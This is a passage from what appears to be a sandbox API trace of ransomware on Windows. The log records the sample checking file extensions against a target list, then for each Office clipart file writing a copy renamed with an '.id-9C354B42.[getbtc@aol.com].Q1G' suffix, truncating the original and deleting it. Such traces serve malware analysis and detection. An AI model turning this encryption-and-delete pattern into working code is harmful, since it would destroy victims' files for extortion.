returned 1 [0258.005] lstrlenW (lpString=".rar") returned 4 [0258.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.005] lstrlenW (lpString=".bz2") returned 4 [0258.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.005] lstrlenW (lpString=".7z") returned 3 [0258.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.005] lstrlenW (lpString=".dbf") returned 4 [0258.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.005] lstrlenW (lpString=".1cd") returned 4 [0258.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0258.005] lstrlenW (lpString=".jpg") returned 4 [0258.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.005] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.005] lstrlenW (lpString="J0107130.WMF") returned 12 [0258.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.006] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=27084) returned 1 [0258.006] CloseHandle (hObject=0x3dc) returned 1 [0258.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 0x20 [0258.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0258.006] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.006] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0258.007] GetLastError () returned 0x0 [0258.007] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x69cc, lpOverlapped=0x0) returned 1 [0258.010] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x69d0, lpOverlapped=0x0) returned 1 [0258.012] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.012] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.012] SetEndOfFile (hFile=0x3e0) returned 1 [0258.012] CloseHandle (hObject=0x3e0) returned 1 [0258.012] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.012] SetEndOfFile (hFile=0x3dc) returned 1 [0258.260] CloseHandle (hObject=0x3dc) returned 1 [0258.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0258.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.305] lstrlenW (lpString=".doc") returned 4 [0258.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.305] lstrlenW (lpString=".docx") returned 5 [0258.305] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.305] lstrlenW (lpString=".pdf") returned 4 [0258.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.305] lstrlenW (lpString=".xls") returned 4 [0258.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.305] lstrlenW (lpString=".xlsx") returned 5 [0258.305] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.305] lstrlenW (lpString=".ppt") returned 4 [0258.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.305] lstrlenW (lpString=".zip") returned 4 [0258.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.305] lstrlenW (lpString=".rar") returned 4 [0258.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.305] lstrlenW (lpString=".bz2") returned 4 [0258.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.305] lstrlenW (lpString=".7z") returned 3 [0258.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.306] lstrlenW (lpString=".dbf") returned 4 [0258.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.306] lstrlenW (lpString=".1cd") returned 4 [0258.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.306] lstrlenW (lpString=".jpg") returned 4 [0258.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.306] lstrlenW (lpString=".doc") returned 4 [0258.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString=".docx") returned 5 [0258.306] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.306] lstrlenW (lpString=".pdf") returned 4 [0258.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString=".xls") returned 4 [0258.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.306] lstrlenW (lpString=".xlsx") returned 5 [0258.306] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.306] lstrlenW (lpString=".ppt") returned 4 [0258.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.306] lstrlenW (lpString=".zip") returned 4 [0258.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.306] lstrlenW (lpString=".rar") returned 4 [0258.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString=".bz2") returned 4 [0258.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString=".7z") returned 3 [0258.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.306] lstrlenW (lpString=".dbf") returned 4 [0258.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.306] lstrlenW (lpString=".1cd") returned 4 [0258.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0258.307] lstrlenW (lpString=".jpg") returned 4 [0258.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.307] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.307] lstrlenW (lpString="J0107152.WMF") returned 12 [0258.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0258.307] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=22532) returned 1 [0258.307] CloseHandle (hObject=0x204) returned 1 [0258.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 0x20 [0258.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0258.308] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.308] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0258.309] GetLastError () returned 0x0 [0258.309] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x5804, lpOverlapped=0x0) returned 1 [0258.344] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x5810, lpOverlapped=0x0) returned 1 [0258.345] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.345] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.345] SetEndOfFile (hFile=0x324) returned 1 [0258.345] CloseHandle (hObject=0x324) returned 1 [0258.346] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.346] SetEndOfFile (hFile=0x204) returned 1 [0258.348] CloseHandle (hObject=0x204) returned 1 [0258.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0258.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.349] lstrlenW (lpString=".doc") returned 4 [0258.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.349] lstrlenW (lpString=".docx") returned 5 [0258.349] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.349] lstrlenW (lpString=".pdf") returned 4 [0258.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.349] lstrlenW (lpString=".xls") returned 4 [0258.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.349] lstrlenW (lpString=".xlsx") returned 5 [0258.349] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.349] lstrlenW (lpString=".ppt") returned 4 [0258.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.349] lstrlenW (lpString=".zip") returned 4 [0258.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.349] lstrlenW (lpString=".rar") returned 4 [0258.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.349] lstrlenW (lpString=".bz2") returned 4 [0258.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.349] lstrlenW (lpString=".7z") returned 3 [0258.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.349] lstrlenW (lpString=".dbf") returned 4 [0258.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.349] lstrlenW (lpString=".1cd") returned 4 [0258.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.349] lstrlenW (lpString=".jpg") returned 4 [0258.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.349] lstrlenW (lpString=".doc") returned 4 [0258.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.350] lstrlenW (lpString=".docx") returned 5 [0258.350] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.350] lstrlenW (lpString=".pdf") returned 4 [0258.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.350] lstrlenW (lpString=".xls") returned 4 [0258.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.350] lstrlenW (lpString=".xlsx") returned 5 [0258.350] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.350] lstrlenW (lpString=".ppt") returned 4 [0258.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.350] lstrlenW (lpString=".zip") returned 4 [0258.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.350] lstrlenW (lpString=".rar") returned 4 [0258.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.350] lstrlenW (lpString=".bz2") returned 4 [0258.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.350] lstrlenW (lpString=".7z") returned 3 [0258.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.350] lstrlenW (lpString=".dbf") returned 4 [0258.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.350] lstrlenW (lpString=".1cd") returned 4 [0258.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0258.350] lstrlenW (lpString=".jpg") returned 4 [0258.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.350] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.350] lstrlenW (lpString="J0107158.WMF") returned 12 [0258.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.373] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=24908) returned 1 [0258.373] CloseHandle (hObject=0x390) returned 1 [0258.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 0x20 [0258.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.408] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.408] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.551] GetLastError () returned 0x0 [0258.551] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x614c, lpOverlapped=0x0) returned 1 [0258.564] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x6150, lpOverlapped=0x0) returned 1 [0258.565] ReadFile (in: hFile=0x394, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.565] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.565] SetEndOfFile (hFile=0x390) returned 1 [0258.566] CloseHandle (hObject=0x390) returned 1 [0258.566] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.566] SetEndOfFile (hFile=0x394) returned 1 [0258.568] CloseHandle (hObject=0x394) returned 1 [0258.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0258.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.569] lstrlenW (lpString=".doc") returned 4 [0258.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.569] lstrlenW (lpString=".docx") returned 5 [0258.569] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.569] lstrlenW (lpString=".pdf") returned 4 [0258.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.569] lstrlenW (lpString=".xls") returned 4 [0258.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.569] lstrlenW (lpString=".xlsx") returned 5 [0258.569] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.569] lstrlenW (lpString=".ppt") returned 4 [0258.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.569] lstrlenW (lpString=".zip") returned 4 [0258.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.569] lstrlenW (lpString=".rar") returned 4 [0258.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.569] lstrlenW (lpString=".bz2") returned 4 [0258.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.569] lstrlenW (lpString=".7z") returned 3 [0258.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.569] lstrlenW (lpString=".dbf") returned 4 [0258.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.569] lstrlenW (lpString=".1cd") returned 4 [0258.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.569] lstrlenW (lpString=".jpg") returned 4 [0258.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.570] lstrlenW (lpString=".doc") returned 4 [0258.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.570] lstrlenW (lpString=".docx") returned 5 [0258.570] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.570] lstrlenW (lpString=".pdf") returned 4 [0258.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.570] lstrlenW (lpString=".xls") returned 4 [0258.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.570] lstrlenW (lpString=".xlsx") returned 5 [0258.570] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.570] lstrlenW (lpString=".ppt") returned 4 [0258.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.570] lstrlenW (lpString=".zip") returned 4 [0258.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.570] lstrlenW (lpString=".rar") returned 4 [0258.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.570] lstrlenW (lpString=".bz2") returned 4 [0258.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.570] lstrlenW (lpString=".7z") returned 3 [0258.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.570] lstrlenW (lpString=".dbf") returned 4 [0258.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0258.570] lstrlenW (lpString=".1cd") returned 4 [0258.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.570] 